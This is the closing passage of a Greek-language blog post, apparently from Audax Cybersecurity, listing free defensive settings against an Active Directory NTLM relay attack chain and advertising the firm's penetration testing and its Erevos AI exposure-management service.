Το πιο σημαντικό συμπέρασμα για τους αμυνόμενους: κάθε βήμα έχει μια δωρεάν αντίμετρη ρύθμιση — απενεργοποίηση LLMNR/NBT-NS, επιβολή SMB signing, LDAP signing + channel binding, περιορισμός NTLM, patching των coercion vectors, tiering και detection. Το πρόβλημα δεν είναι ότι λείπουν οι άμυνες· είναι ότι σχεδόν καμία δεν είναι ενεργή by default. Και σε ό,τι αφορά την ειλικρίνεια της παρουσίασης: δηλώσαμε ρητά τι έτρεξε live (πραγματικά εργαλεία/CLI, live relay listeners, γνήσιο NetNTLMv2 hash και πραγματικό crack) και τι ορίζεται από το μοντέλο του εργαστηρίου — χωρίς κανένα κατασκευασμένο αποτέλεσμα.

Από το εργαστήριο, στο δικό σας περιβάλλον {#cta}

Το εργαστήριο δείχνει την αρχή. Το ζητούμενο για έναν οργανισμό είναι να ξέρει αν αυτή η αλυσίδα δουλεύει — ή όχι — στο δικό του δίκτυο, πριν τη βρει κάποιος άλλος.

Η Audax Cybersecurity το κάνει αυτό συστηματικά. Μέσα από στοχευμένο penetration testing και adversary validation, αναπαράγουμε ακριβώς αυτές τις διαδρομές επίθεσης σε ελεγχόμενες συνθήκες και σας παραδίδουμε τεκμηριωμένα, προτεραιοποιημένα ευρήματα — με σαφείς οδηγίες αποκατάστασης.

Και επειδή η ασφάλεια δεν είναι στιγμιαία, το Erevos AI — η ετήσια managed υπηρεσία Continuous Threat Exposure Management (CTEM) της Audax — κρατά αυτή την επιθετική οπτική συνεχή: χαρτογραφεί την επιφάνεια επίθεσης της ταυτότητάς σας, επαληθεύει τις άμυνες και παράγει τεκμηριωμένη απόδειξη ανθεκτικότητας για NIS2 & DORA.

Human-led. Machine-scaled. Technically proven.

Επισκεφθείτε το https://www.audax.gr για να μάθετε περισσότερα.